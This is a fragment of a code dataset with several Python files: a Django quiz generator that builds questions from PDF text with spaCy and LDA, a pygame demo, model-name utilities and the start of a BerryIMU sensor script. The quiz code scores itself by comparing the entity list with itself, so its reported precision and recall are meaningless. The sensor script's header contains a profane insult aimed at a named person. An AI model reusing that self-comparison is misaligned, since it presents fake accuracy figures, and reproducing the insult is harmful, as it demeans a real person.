compresión\",size2)\n","sub_path":"Lzw-master/LZW.py","file_name":"LZW.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"400449820","text":"from django.shortcuts import render,redirect,HttpResponse,HttpResponseRedirect\nfrom django.contrib import messages\n\nfrom django.utils.encoding import smart_str\n# Importing python classes\nfrom genque.PythonClasses.HeaderFooterRemover import pdf2text_all, pdf2text_spec\n\n# Importing packages for accuracy testing\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import average_precision_score\nimport numpy as np\n\n# Importing packages for generate\nimport spacy\nfrom gender_detector import gender_detector as gd\nfrom nltk import *\nfrom nltk.tokenize import RegexpTokenizer, MWETokenizer\nfrom stop_words import get_stop_words\nfrom nltk.stem.porter import PorterStemmer\nfrom gensim import corpora, models\nfrom docx import Document\nfrom docx.shared import Inches\nimport gensim\nimport language_check\nimport spacy\nimport random\nimport datetime\nimport uuid\n\ntnf_words = []\ntnf_list = []\nwordlist = []\nnlp = spacy.load('en_core_web_sm')\nfrom spacy.lang.en import English\ndef remove_whitespace_entities(doc):\n doc.ents = [e for e in doc.ents if not e.text.isspace()]\n return doc\nnlp.add_pipe(remove_whitespace_entities, after='ner')\ndef distractor_maker(ans, entity, choices,distractor, iterator):\n\n\twhile not len(choices) >= 3:\n\t\tn = random.randrange(0,len(entity))\n\t\tdistractor = entity[n]\n\t\t\n\t\tif not ans == distractor and not distractor in choices:\n\t\t\tchoices.append(distractor)\n\n\treturn choices[2]\n\n\t# if len(choices) == 3:\n\t# \tpass\n\t# else:\n\t# \tn = random.randrange(0,len(entity))\n\t# \tdistractor = entity[n]\n\t# \tif not ans == distractor:\n\t# \t\tchoices.append(distractor)\n\t\t\t\n\t# \treturn distractor_maker(ans, entity, choices, distractor, iterator)\n\ndef MCQ(text,ans,ORG,DATE,PERSON,GPE_LOCATION,EVENT):\n\n\tchoices = []\n\tdistractor = ans\n\n\tif ans == 'ORG':\n\t\tchoices.append(text)\n\t\tif not len(ORG) < 3:\n\t\t\tchoices.append(distractor_maker(text, ORG, choices,distractor,0))\n\t\telif not len(PERSON) < 3:\n\t\t\tchoices.append(distractor_maker(text, PERSON, choices,distractor,0))\n\t\telif not len(GPE_LOCATION) < 3:\n\t\t\tchoices.append(distractor_maker(text, GPE_LOCATION, choices,distractor,0))\n\n\tif ans == 'DATE':\n\t\tchoices.append(text)\n\t\tif not len(DATE) < 3:\n\t\t\tchoices.append(distractor_maker(text, DATE, choices,distractor,0))\n\t\telif not len(EVENT) < 3:\n\t\t\tchoices.append(distractor_maker(text, EVENT, choices,distractor,0))\n\t\telif not len(ORG) < 3:\n\t\t\tchoices.append(distractor_maker(text, ORG, choices,distractor,0))\n\t\n\tif ans == 'PERSON':\n\t\tchoices.append(text)\n\t\tif not len(PERSON) < 3:\n\t\t\tchoices.append(distractor_maker(text, PERSON, choices,distractor,0))\n\t\telif not len(ORG) < 3:\n\t\t\tchoices.append(distractor_maker(text, ORG, choices,distractor,0))\n\t\telif not len(GPE_LOCATION) < 3:\n\t\t\tchoices.append(distractor_maker(text, GPE_LOCATION, choices,distractor,0))\n\t\n\tif ans == 'GPE':\n\t\tchoices.append(text)\n\t\tif not len(GPE_LOCATION) < 3:\n\t\t\tchoices.append(distractor_maker(text, GPE_LOCATION, choices,distractor,0))\n\t\telif not len(ORG) < 3:\n\t\t\tchoices.append(distractor_maker(text, ORG, choices,distractor,0))\n\t\telif not len(PERSON) < 3:\n\t\t\tchoices.append(distractor_maker(text, PERSON, choices,distractor,0))\n\n\tif ans == 'EVENT':\n\t\tchoices.append(text)\n\t\tif not len(EVENT) < 3:\n\t\t\tchoices.append(distractor_maker(text, EVENT, choices,distractor,0))\n\t\telif not len(DATE) < 3:\n\t\t\tchoices.append(distractor_maker(text, DATE, choices,distractor,0))\n\t\telif not len(ORG) < 3:\n\t\t\tchoices.append(distractor_maker(text, ORG, choices,distractor,0))\n\n\tfor idx,index in enumerate(choices):\n\t\tchoices[idx] = str(index).capitalize()\n\n\treturn choices[:3]\n\n\ndef trueOrFalsetemp(label,text,ORG,PERSON,GPE_LOCATION,DATE,EVENT):\n\ttextMatcher = text\n\n\tif label == \"ORG\" and len(ORG) > 1:\n\t\twhile text == textMatcher:\n\t\t\tn = random.randrange(0,len(ORG))\n\t\t\ttextMatcher = ORG[n]\n\telse:\n\t\tlabel = \"PERSON\"\n\n\tif label == \"PERSON\" and len(PERSON) > 1:\n\t\twhile text == textMatcher:\n\t\t\tn = random.randrange(0,len(PERSON))\n\t\t\ttextMatcher = PERSON[n]\n\telse:\n\t\tlabel = \"GPE\"\n\n\tif label == \"GPE\" and len(GPE_LOCATION) > 1:\n\t\twhile text == textMatcher:\n\t\t\tn = random.randrange(0,len(GPE_LOCATION))\n\t\t\ttextMatcher = GPE_LOCATION[n]\n\telse:\n\t\tlabel = \"DATE\"\n\n\tif label == \"DATE\" and len(DATE) > 1:\n\t\twhile text == textMatcher:\n\t\t\tn = random.randrange(0,len(DATE))\n\t\t\ttextMatcher = DATE[n]\n\telse:\n\t\tlabel = \"EVENT\"\n\n\tif label == \"EVENT\" and len(EVENT) > 1:\n\t\twhile text == textMatcher:\n\t\t\tn = random.randrange(0,len(EVENT))\n\t\t\ttextMatcher = EVENT[n]\n\telse:\n\t\tlabel = \"ORG\"\n\n\treturn textMatcher\n\ndef UniqueItems(Noun):\n\tseen = set()\n\tresult = []\n\tfor item in Noun:\n\t\tif item not in seen:\n\t\t\tseen.add(item)\n\t\t\tresult.append(item)\n\n\treturn result\ndef dataCleansing(Words):\n nlp = spacy.load('en')\n remove_space = re.sub(r'[\"\\n]', r' ', Words)\n parse = nlp(remove_space)\n sentences = [sent.string.strip() for sent in parse.sents]\n \n return sentences\n\ndef remove_whitespace_entities(doc):\n doc.ents = [e for e in doc.ents if not e.text.isspace()]\n return doc\ndef UniqueItems(Noun):\n seen = set()\n result = []\n for item in Noun:\n if item not in seen:\n seen.add(item)\n result.append(item)\n return result\n\ndef getPrecisionRecall(instance):\n total_recall = 0\n total_precision = 0\n total_f_measure = 0\n true_positive = 0\n false_negative = 0\n fp = np.sum(instance,axis=0) \n\n for i in range(len(instance)):\n \n true_positive = instance[i][i]\n false_negative = sum(instance[i])\n if not false_negative == 0:\n recall = true_positive/false_negative\n else:\n recall = 1.0\n false_positive = fp[i]\n \n if not false_positive == 0:\n precision = true_positive/false_positive\n else:\n precision = 1.0\n \n f_measure = 2 * ((precision*recall)/(precision+recall))\n \n total_precision += precision\n total_recall += recall\n total_f_measure += f_measure\n print(\"RECALL\", recall, \"PRECISION\", precision, \"F_MEASURE\", f_measure)\n \n avg_recall = total_recall/len(instance)\n avg_precision = total_precision/len(instance)\n avg_f_measure = total_f_measure/len(instance)\n print(\"AVERAGE OF RECALL\", avg_recall, \"AVERAGE of PRECISION\", avg_precision, \"AVERAGE OF F_MEASURE\", avg_f_measure)\n\n return [avg_recall,avg_precision,avg_f_measure]\n\n# Created views\ndef index(request):\n return render(request, 'genque/home.html')\n\n\ndef sample(request):\n return render(request, 'genque/sample.html')\n\n\n# noinspection PyUnreachableCode\ndef generate(request):\n\tbefore = datetime.datetime.now()\n\n\t# Process with PDF\n\tpdfFileObj = request.FILES['file']\n\tpageFrom = int(request.POST.get('pageFrom'))\n\tpageTo = int(request.POST.get('pageTo'))\n\n\t# Removing Header and Footer in PDF file\n\tpdfObj = pdf2text_spec(pdfFileObj,pageFrom,pageTo)\n\n\t# Stands as input text\n\ttext = \"\"\n\n\t# Retrieving every pages in pdfObj and append into text varible\n\tfor page in pdfObj:\n\t page = re.sub(r'[\"\\n]', r' ', page) # Removing next line in text\n\t dn = nlp(page)\n\t page_sentences = [sent.string.strip() for sent in dn.sents]\n\t for sentence in range(len(page_sentences)):\n\n\t \tif sentence < 3:\n\n\t \t\tpass\n\n\t \telif sentence > len(page_sentences)-3:\n\n\t \t\tpass\n\t \t\t\n\t \telse:\n\n\n\t \t\ttext += page_sentences[sentence].replace(\"- \",\"\")\n\n\ttexts = re.sub(\"[\\(\\[].*?[\\)\\]]\", \"\", text)\n\n\tdetector = gd.GenderDetector('us') # It can also be ar, uk, uy.\n\n\t# Initiate list of label for NER\n\tORG = []\n\tPERSON = []\n\tGPE_LOCATION = []\n\tDATE = []\n\tEVENT = []\n\n\t# Initiate list of question variable\n\tquestions = []\n\n\t# ------------------------------------------------------PREPROCESSING---------------------------------------------------\n\n\t# Tokenized text by sentence to become document in every\n\t#lda_sentence_tokens = sent_tokenize(text)\n\tdm = nlp(texts, disable=['tagger', 'ner'])\n\tlda_sentences = [sent.string.strip() for sent in dm.sents]\n\t\n\tlda_sentence_tokens = []\n\tsentence_rule = [\"nsubj\",\"dobj\",\"pobj\"]\n\tfor sentence in lda_sentences:\n\t\tdoc = nlp(sentence)\n\n\t\tfor chunk in doc.noun_chunks:\n\t\t\tif any(x == chunk.root.dep_ for x in sentence_rule):\n\t\t\t\tlda_sentence_tokens.append(sentence)\n\t\t\t\tbreak\n\n\t# for a in lda_sentences:\n\t# \tif not a in lda_sentence_tokens:\n\t# \t\tprint(a)\n\n\t# Initiate tokenizer\n\ttokenizer = RegexpTokenizer(r'\\w+')\n\n\t# Create English stop words list\n\ten_stop = get_stop_words('english')\n\n\t# Create p_stemmer of class PorterStemmer\n\tp_stemmer = PorterStemmer()\n\n\t# Compile sample documents into a list\n\tdoc_set = lda_sentence_tokens\n\n\t# List for tokenized documents in loop\n\ttexts = []\n\ttext_cleanse = \"\"\n\n\t# Collection of NER\n\t\n\tdoc = nlp(text)\n\n\tfor ent in doc.ents:\n\t \n\t if not ent.text == ' ' and not ent.text == '' and not ent.text == ' ' :\n\n\t if ent.label_ == 'ORG' and not ent.text == ' ' and not ent.text == '':\n\n\t ORG.append(ent.text)\n\n\t elif ent.label_ == 'PERSON' and not ent.text == ' ' and not ent.text == '':\n\n\t PERSON.append(ent.text)\n\n\t elif ent.label_ == 'GPE' and not ent.text == ' ' and not ent.text == '':\n\t GPE_LOCATION.append(ent.text)\n\n\t elif ent.label_ == 'DATE':\n\t DATE.append(ent.text)\n\n\t elif ent.label_ == 'EVENT':\n\t EVENT.append(ent.text)\n\n\n\tprint(\"ORG\", len(ORG))\n\tprint(\"PERSON\", len(PERSON))\n\tprint(\"GPE_LOCATION\", len(GPE_LOCATION))\n\tprint(\"DATE\", len(DATE))\n\tprint(\"EVENT\", len(EVENT))\n\tNER = ORG + PERSON + GPE_LOCATION + DATE + EVENT\n\tprint(\"THIS IS NER\")\n\tprint(NER)\n\n\t# Coop through document list\n\tfor i in doc_set:\n\n\t # Clean and tokenize document string\n\t # Remove the NER collected words before tokenize to aviod tokenized the NER collection\n\t for token in range(len(NER)):\n\t if NER[token] in i: # Replace the tokens to exclude the NER tokens\n\t i = i.replace(NER[token], \" tags\" + str(token) + \" \")\n\n\t raw = i.lower() #\n\t tokens = tokenizer.tokenize(raw)\n\n\t # Recall the words collected in NER\n\t for word in range(len(tokens)):\n\t for token in range(len(NER)):\n\n\t if tokens[word] == (\"tags\" + str(token) + \"\"):\n\t tokens[word] = NER[token]\n\n\t # Remove stop words from tokens\n\t stopped_tokens = [i for i in tokens if not i in en_stop]\n\t questions.append(tokens)\n\n\t # Add tokens to list\n\t texts.append(stopped_tokens)\n\n\t# ---------------------------------------------------TOPIC MODELING (LDA)------------------------------------------------\n\t# Turn our tokenized documents into a id <-> term dictionary\n\tdictionary = corpora.Dictionary(texts)\n\n\t# Convert tokenized documents into a document-term matrix\n\tcorpus = [dictionary.doc2bow(text) for text in texts]\n\n\t# Generate LDA model\n\tldamodel = gensim.models.ldamulticore.LdaMulticore(corpus, num_topics=5, id2word=dictionary, workers = 2)\n\tlda_raw = ldamodel.print_topics(num_topics=5, num_words=100)\n\n\t# ------------------------------------------- POST-PROCESSING----------------------------------------------------------------\n\t# Data Cleansing\n\tlda = []\n\tfor topic in range(len(lda_raw)):\n\t nstr = re.sub(r'[\"\"|,|\\\\|''|)|(]', r'', str(lda_raw[topic]))\n\t lda.append(nstr)\n\n\t# separate by topic\n\tpre_tokens = []\n\tfor x in lda:\n\t pre_tokens.append(str(x).split(\" + \"))\n\n\t# separate by weights and word\n\tlda_tokens = []\n\tfor i in pre_tokens:\n\t for x in i:\n\t lda_tokens.append(str(x).split('*'))\n\n\tlda_words = []\n\tindex = 0\n\tfor i in lda_tokens:\n\t if index >= 2 and index < len(lda_tokens) - 2:\n\t lda_words.append(i[1])\n\t index += 1\n\n\n\n\tfor weight in lda_tokens:\n\t\tlda_tokens.index(weight)\n\t\tfor words in range(len(weight)):\n\n\t\t\tif words == 0:\n\t\t\t\tweight[words].replace(str(len(weight))+\" '\",\"\")\n\n\ti = 0\n\tcleanse = ''\n\tsentsw = ''\n\tweights = 0\n\tnum = 0\n\tcount = 0\n\tsentences = ''\n\tsentsWeight = [0]* len(lda_sentence_tokens)\n\tfor index in lda_tokens:\n\n\t\tcleanse = str(index[0]).replace(str(i),\"\")\n\t\tsentsw = cleanse.replace(\" '\",\"\")\n\t\tweightWords = str(index[1]).replace(str(i),\"\") \n\n\t\tfor sents in range(len(lda_sentence_tokens)):\n\n\t\t\tif weightWords in lda_sentence_tokens[sents]:\n\t\t\t\tcount = str(lda_sentence_tokens[sents]).count(weightWords)\n\t\t\t\tweights += float(sentsw) * count\n\t\t\t\tnum = sentsWeight[sents]\n\t\t\t\tsentsWeight[sents] += float(weights)\n\t\t\t\tcontinue\n\ti += 1\n\t\n\tyx = zip(sentsWeight,lda_sentence_tokens)\n\n\tsentenceWeighted = sorted(yx, key=lambda x: x[0])\n\n\tfor sents in range(len(sentenceWeighted)):\n\t\tsentsWeight[sents] = sentenceWeighted[sents][1]\n\n\ttrueOrFalse = []\n\tNER_names = []\n\tNER_Cleanse = UniqueItems(NER)\n\tquestion_finb_key = []\n\tfor name in NER_Cleanse:\n\t\tNER_names.append(re.sub(r'[^\\w]', ' ', name))\n\n\tquestion_finb = []\n\n\tfor sentence in sentsWeight:\n\n\t\tfor j in range(20):\n\t\t\tif j > len(NER_names)-1:\n\t\t\t\tbreak\n\t\t\tif NER_names[j] in question_finb_key:\n\n\t\t\t\tcontinue\n\n\t\t\telif NER_names[j] in sentence and j < len(NER_names) and NER_names[j] != '' and NER_names != ' ' and len(str(sentence)) >= 25:\n\t\t\t\tlimit = 1\n\t\t\t\ttemp_word = str(sentence).replace(NER_names[j], ' ___________ ',1)\n\t\t\t\tquestion_finb_key.append(NER_names[j])\n\t\t\t\tquestion_finb.append(temp_word)\n\t\t\t\tj = j\n\t\t\t\tlimit = 0\n\n\t\t\t\tbreak\n\n\t\t\t\n\n\tquestion_finb_key_random = question_finb_key\n\n\n\ttnf_list = []\n\ttnf_str = ''\n\n\ttnf_temp = UniqueItems(NER_Cleanse)\n\n\tfor tnf in tnf_temp:\n\n\t\ttnf_str += tnf+\" \"\n\n\ttnf_words = nlp(tnf_str)\n\n\tcount = 0\n\tquestion_tf = []\n\tquestion_tf_key = []\n\tfor sentence in sentsWeight:\n\n\t for dep in tnf_words.ents:\n\t \tif dep.text in sentence:\n\t\t\t if dep.label_ == 'ORG':\n\t\t\t \ttemp_word = str(sentence).replace(dep.text, str(trueOrFalsetemp(dep.label_,dep.text,ORG,PERSON,GPE_LOCATION,DATE,EVENT)))\n\t\t\t \tquestion_tf.append(temp_word+\"\\n\")\n\t\t\t \tquestion_tf_key.append(dep.text)\n\t\t\t \tcount +=1\n\t\t\t \tbreak\n\n\t\t\t if dep.label_ == 'PERSON':\n\t\t\t \ttemp_word = str(sentence).replace(dep.text, str(trueOrFalsetemp(dep.label_,dep.text,ORG,PERSON,GPE_LOCATION,DATE,EVENT)))\n\t\t\t \tquestion_tf.append(temp_word)\n\t\t\t \tquestion_tf_key.append(dep.text)\n\t\t\t \tcount +=1\n\t\t\t \tbreak\n\n\t\t\t if dep.label_ == 'GPE':\n\t\t\t \ttemp_word = str(sentence).replace(dep.text, str(trueOrFalsetemp(dep.label_,dep.text,ORG,PERSON,GPE_LOCATION,DATE,EVENT)))\n\t\t\t \tquestion_tf.append(temp_word)\n\t\t\t \tquestion_tf_key.append(dep.text)\n\t\t\t \tcount+=1\n\t\t\t \tbreak\n\n\t\t\t if dep.label_ == 'DATE':\n\t\t\t \ttemp_word = str(sentence).replace(dep.text,str(trueOrFalsetemp(dep.label_,dep.text,ORG,PERSON,GPE_LOCATION,DATE,EVENT)))\n\t\t\t \tquestion_tf.append(temp_word)\n\t\t\t \tquestion_tf_key.append(dep.text)\n\t\t\t \tcount+=1\n\t\t\t \tbreak\n\n\t\t\t if dep.label_ == 'EVENT':\n\t\t\t \ttemp_word = str(sentence).replace(dep.text, str(trueOrFalsetemp(dep.label_,dep.text,ORG,PERSON,GPE_LOCATION,DATE,EVENT)))\n\t\t\t \tquestion_tf.append(temp_word)\n\t\t\t \tquestion_tf_key.append(dep.text)\n\t\t\t \tcount+=1\n\t\t\t \tbreak\n\t \t\n\tcount = 0\n\tkeyword = ''\n\tchoices = ''\n\tquestion_mcq = []\n\tquestion_mcq_choices = []\n\tquestion_mcq_key = []\n\ttemp = ''\n\tquestsent = ''\n\tfullsents = []\n\ttool = language_check.LanguageTool('en-US')\n\tfor sentence in sentsWeight:\n\t\t\n\t\ttext = sentence\n\t\tmatches = tool.check(text)\n\t\tclntext = language_check.correct(text, matches)\n\t\tif len(clntext) < 20:\n\t\t\tcontinue\n\t\tsen = nlp(clntext)\n\t\tquestsent = ''\n\n\t\tfor ent in sen.noun_chunks:\n\t\t\t\n\n\t\t\tprint(ent.text +\" \"+chunk.root.dep_+\" \"+ent.root.head.text)\n\t\t\t\n\t\t\tif ent.root.dep_ == 'nsubj':\n\t\t\t\t\n\t\t\t\tif temp == ent.root.head.text:\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\ttemp = ''\n\t\t\t\t\tquestsent += \" \"+ent.text +\" \"+ent.root.head.text\n\t\t\t\ttemp = ent.root.head.text\n\t\t\t\t\n\t\t\telif ent.root.dep_ == 'pobj':\n\t\t\t\tquestsent += \" \"+ent.root.head.text +\" \"+ ent.text\n\t\t\t\t\n\t\t\telif ent.root.dep_ == 'dobj':\n\t\t\t\tif temp == ent.root.head.text:\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\ttemp = ''\t\n\t\t\t\t\tquestsent += \" \"+ent.root.head.text +\" \"+ ent.text\n\t\t\t\t\t\n\t\t\telif ent.root.dep_ == 'appos':\n\t\t\t\t\tquestsent += ent.root.head.text +\" \"+ ent.text\n\t\t\t\t\t\n\t\t\telif ent.root.dep_ == 'attr':\n\t\t\t\t\tquestsent += \" \"+ent.root.head.text +\" \"+ ent.text\n\t\t\t\t\t\n\n\t\tfullsents.append(questsent)\n\tfor sents in fullsents:\n\n\t\tif len(sents) < 20:\n\t\t\tcontinue\n\t\telse:\n\t\t\tdocs = nlp(sents)\n\n\n\t\tfor parse in docs.ents:\n\t\t\tif parse.text not in NER:\n\t\t\t\tcontinue\n\t\t\tif parse.label_ == 'ORG':\n\t\t\t\ttemp_word = sents.replace(sents[0:parse.end_char], 'what ')\n\n\t\t\t\tif len(temp_word) < 5:\n\t\t\t\t\tbreak \n\n\t\t\t\tquestion_mcq.append(temp_word)\n\t\t\t\tquestion_mcq_key.append(parse.text)\n\t\t\t\tquestion_mcq_choices.append(MCQ(parse.text,parse.label_,ORG,DATE,PERSON,GPE_LOCATION,EVENT))\n\n\t\t\tif parse.label_ == 'PERSON':\n\t\t\t\tword = parse.text \n\t\t\t\tend = parse.end_char\n\t\t\t\tif word[len(word)-2:len(word)] == \"’s\":\n\n\t\t\t\t\ttemp_word = sents.replace(sents[0:end-2], 'who')\n\n\t\t\t\telse:\n\n\t\t\t\t\ttemp_word = sents.replace(sents[0:parse.end_char], 'who ')\n\n\t\t\t\tif len(temp_word) < 3:\n\n\t\t\t\t\tbreak\n\t\t\t\tcount +=1\n\t\t\t\tquestion_mcq.append(temp_word)\n\t\t\t\tquestion_mcq_key.append(parse.text)\n\t\t\t\tquestion_mcq_choices.append(MCQ(parse.text,parse.label_,ORG,DATE,PERSON,GPE_LOCATION,EVENT))\n\n\n\t\t\tif parse.label_ == 'GPE':\n\n\t\t\t\ttemp_word = sents.replace(sents[0:parse.end_char], 'where ') \n\t\t\t\tif len(temp_word) < 3:\n\t\t\t\t\tbreak\n\t\t\t\tquestion_mcq.append(temp_word)\n\t\t\t\tquestion_mcq_key.append(parse.text)\n\t\t\t\tquestion_mcq_choices.append(MCQ(parse.text,parse.label_,ORG,DATE,PERSON,GPE_LOCATION,EVENT))\n\t\t\t\tcount +=1\n\n\t\t\tif parse.label_ == 'EVENT':\n\t\t\t\ttemp_word = sents.replace(sents[0:parse.end_char], 'when ') \n\t\t\t\tif len(temp_word) < 3:\n\t\t\t\t\tbreak \n\t\t\t\tquestion_mcq.append(temp_word)\n\t\t\t\tquestion_mcq_key.append(parse.text)\n\t\t\t\tquestion_mcq_choices.append(MCQ(parse.text,parse.label_,ORG,DATE,PERSON,GPE_LOCATION,EVENT))\n\t\t\t\tcount +=1\n\t\t\tif count == 20:\n\t\t\t\tbreak\n\n\tfor i in question_tf:\n\t\tif len(i) <= 125:\n\t\t\tquestion_tf.remove(i)\n\n\tafter = datetime.datetime.now()\n\ttime = after - before\n\n\tquestion_mcq_choices_random = question_mcq_choices\n\n\tfor i in range(len(question_mcq_choices_random)):\n\t\tfor j in range(len(question_mcq_choices_random[i])):\n\t\t\tx = random.randrange(0,2)\n\t\t\tquestion_mcq_choices_random[i][x], question_mcq_choices_random[i][j] = question_mcq_choices_random[i][j], question_mcq_choices_random[i][x]\n\n\ty_true = NER\n\ty_pred = NER\n\n\tconf = confusion_matrix(y_true, y_pred, labels=NER)\n\taccuracy = getPrecisionRecall(conf)\n\n\tprint(question_finb_key)\n\tfor x in accuracy:\n\t\tprint(x)\n\n\n\tORG = UniqueItems(ORG)\n\tPERSON = UniqueItems(PERSON)\n\tGPE_LOCATION = UniqueItems(GPE_LOCATION)\n\tDATE = UniqueItems(DATE)\n\tEVENT = UniqueItems(EVENT)\n\n\tlen_ORG = len(ORG)\n\tlen_PERSON = len(PERSON)\n\tlen_GPE_LOCATION = len(GPE_LOCATION)\n\tlen_DATE = len(DATE)\n\tlen_EVENT = len(EVENT)\n\n\treturn render(request, 'genque/generate.html',\n\t\t{'NER': NER_Cleanse, \n\t\t'filename': pdfFileObj.name, \n\t\t'time': time, \n\t\t'question_finb':question_finb,\n\t\t'question_finb_key': question_finb_key,\n\t\t'question_finb_key_random': question_finb_key_random,\n\t\t'question_tf':question_tf,\n\t\t'question_tf_key': question_tf_key,\n\t\t'question_mcq':question_mcq, \n\t\t'question_mcq_key':question_mcq_key,\n\t\t'question_mcq_choices': question_mcq_choices,\n\t\t'ORG':ORG,\n\t\t'PERSON':PERSON,\n\t\t'GPE_LOCATION':GPE_LOCATION,\n\t\t'DATE':DATE,\n\t\t'EVENT':EVENT,\n\t\t'len_ORG':len_ORG,\n\t\t'len_PERSON':len_PERSON,\n\t\t'len_GPE_LOCATION':len_GPE_LOCATION,\n\t\t'len_DATE':len_DATE,\n\t\t'len_EVENT':len_EVENT,\n\t\t'accuracy':accuracy})\n\n\ndef download(request):\n\tfinb_item = request.GET.getlist('finb_item')\n\ttf_item = request.GET.getlist('tf_item')\n\tmcq_item = request.GET.getlist('mcq_item')\n\tmcq_item_choices = request.GET.getlist('mcq_item_choices')\n\tchoices = []\n\n\tfor i in mcq_item_choices:\n\t\tchoices.append(str(i).split(\",\"))\n\n\tdocument = Document()\n\n\tdocument.add_heading(\"Name:___________________________________________________ Date:___________\", level=3)\n\tdocument.add_heading(\"Section:________________________________________________ Score:__________\", level=3)\n\tdocument.add_paragraph('')\n\n\tif not len(finb_item) == 0:\n\t\tdocument.add_heading(\"Fill in the Blanks\",level = 3)\n\tfor item in finb_item:\n\t\tdocument.add_paragraph(item,style = 'ListNumber')\n\n\tif not len(tf_item) == 0:\n\t\tdocument.add_heading(\"True or False\",level = 3)\n\tfor item in tf_item:\n\t\tdocument.add_paragraph(item,style = 'ListNumber')\n\n\tif not len(mcq_item) == 0:\n\t\tdocument.add_heading(\"Multiple Choices\",level = 3)\n\tfor item in mcq_item:\n\t\tdocument.add_paragraph(item[2:],style = 'ListNumber')\n\t\tfor i in choices:\n\t\t\tif item[0] == i[0]:\n\t\t\t\tw = str(i[1:]).replace(\"'\",\"\")\n\t\t\t\tx = str(w).replace(\"[\",\"\")\n\t\t\t\ty = str(x).replace(\"]\",\"\")\n\t\t\t\tz = str(y).replace('\"',\"\")\n\t\t\t\tchoices_split = z.split(',')\n\t\t\t\tdocument.add_paragraph(\"a.)\" + choices_split[0])\n\t\t\t\tdocument.add_paragraph(\"b.)\" + choices_split[1])\n\t\t\t\tdocument.add_paragraph(\"c.)\" + choices_split[2])\n\n\n\n\tdoc_title = str(uuid.uuid4())+'.docx'\n\tdocument.save('genque/documents/' + doc_title)\n\tmessages.info(request, 'Successfully downloaded the file!')\n\n\tfilePath = 'genque/documents/' + doc_title\n\tfsock = open(filePath,\"rb\")\n\tresponse = HttpResponse(fsock, content_type='application/msword')\n\tresponse['Content-Disposition'] = 'attachment; filename='+doc_title\n\treturn response\n\n\t# return HttpResponseRedirect('/')","sub_path":"genque/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":21111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"146810221","text":"import random\nfrom random import randrange\n\nimport pygame\nimport sys\nfrom time import sleep\n\npadWidth = 800\npadHeight = 600\n\ndef initGame():\n global gamePad, player, clock\n pygame.init()\n gamePad = pygame.display.set_mode((padWidth, padHeight))\n pygame.display.set_caption('Test')\n\n # 이미지 로딩\n player = pygame.image.load('player.png') #64x64 크기의 이미지\n clock = pygame.time.Clock()\n\ndef runGame():\n global player, clock\n\n isrun = False\n targetPoint = [0,0]\n currentPoint = [400, 300]\n while True:\n for event in pygame.event.get():\n if event.type in [pygame.QUIT]:\n pygame.quit()\n sys.exit()\n\n if isrun == False:#움직임이 끝나면\n targetPoint[0] = randrange(0, padWidth - 64)\n targetPoint[1] = randrange(0, padHeight - 64)#목표 위치 만들기\n isrun = True\n else:\n if targetPoint[0] - currentPoint[0] > 0:#목표 위치로 이동\n currentPoint[0] += 1\n elif targetPoint[0] - currentPoint[0] < 0:\n currentPoint[0] -= 1\n\n if targetPoint[1] - currentPoint[1] > 0:#목표 위치로 이동\n currentPoint[1] += 1\n elif targetPoint[1] - currentPoint[1] < 0:\n currentPoint[1] -= 1\n\n if targetPoint[0] - currentPoint[0] == 0 and targetPoint[1] - currentPoint[1] == 0:\n isrun = False#목표 위치로 도착했다면\n\n gamePad.fill((0,0,0))\n gamePad.blit(player, (currentPoint[0], currentPoint[1])) # 이미지 화면에 출력\n pygame.display.update()\n clock.tick(60)\n\n\n# 게임 실행\ninitGame()\nrunGame()\n\n","sub_path":"class003/pygame/exam002.py","file_name":"exam002.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"118461701","text":"def load_space(task):\n if task.lower() in ['regression', 'r']:\n from .space_config.regression import SPACE_DICT\n elif task.lower() in ['classification', 'c']:\n from .space_config.classification import SPACE_DICT\n else:\n raise ValueError(\n \"TASK should be string, and its lowercase value should be in ['regression', 'r'] or 'classification', 'c']\"\n )\n return SPACE_DICT\n\ndef parse_model_nm(model_nm):\n if model_nm.lower() in ['lgbm', 'lightgbm', 'lgb']:\n model_nm = 'LGB'\n elif model_nm.lower() in ['xgb', 'xgboost']:\n model_nm = 'XGB'\n elif model_nm.lower() in ['rf', 'randomforest']:\n model_nm = 'RF'\n elif model_nm.lower() in ['et', 'extratrees']:\n model_nm = 'ET'\n else:\n raise ValueError(f\"model_nm: {model_nm} is a bug...\")\n return model_nm\n","sub_path":"treesbo/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"238314142","text":"#!/usr/bin/python\n#\n# This program reads the angles from the acceleromteer, gyroscope\n# and mangnetometer on a BerryIMU connected to a Raspberry Pi.\n#\n# This program includes two filters (low pass and median) to improve the\n# values returned from BerryIMU by reducing noise.\n#\n# The BerryIMUv1, BerryIMUv2 and BerryIMUv3 are supported\n#\n# This script is python 2.7 and 3 compatible\n#\n# Feel free to do whatever you like with this code.\n# Distributed as-is; no warranty is given.\n#\n# http://ozzmaker.com/\n\nimport sys\nimport time\nimport random\nimport math\nimport IMU\nimport datetime\nimport os\n\n#fuck u Jona u piece of shite\n\nRAD_TO_DEG = 57.29578\nM_PI = 3.14159265358979323846\nG_GAIN = 0.070 # [deg/s/LSB] If you change the dps for gyro, you need to update this value accordingly\nAA = 0.40 # Complementary filter constant\nMAG_LPF_FACTOR = 0.4 # Low pass filter constant magnetometer\nACC_LPF_FACTOR = 0.4 # Low pass filter constant for accelerometer\nACC_MEDIANTABLESIZE = 9 # Median filter table size for accelerometer. Higher = smoother but a longer delay\nMAG_MEDIANTABLESIZE = 9 # Median filter table size for magnetometer. Higher = smoother but a longer delay\n\nGYRO_X_LIFT = 50\nGYRO_Y_LIFT = 40\nGYRO_Z_LIFT = 40\n\nGYRO_X_TWIST = 50\nGYRO_Y_TWIST = 110\nGYRO_Z_TWIST = 50\n\nGYRO_X_CHOP = 40\nGYRO_Y_CHOP = 40\nGYRO_Z_CHOP = 50\n\n################# Compass Calibration values ############\n# Use calibrateBerryIMU.py to get calibration values\n# Calibrating the compass isnt mandatory, however a calibrated\n# compass will result in 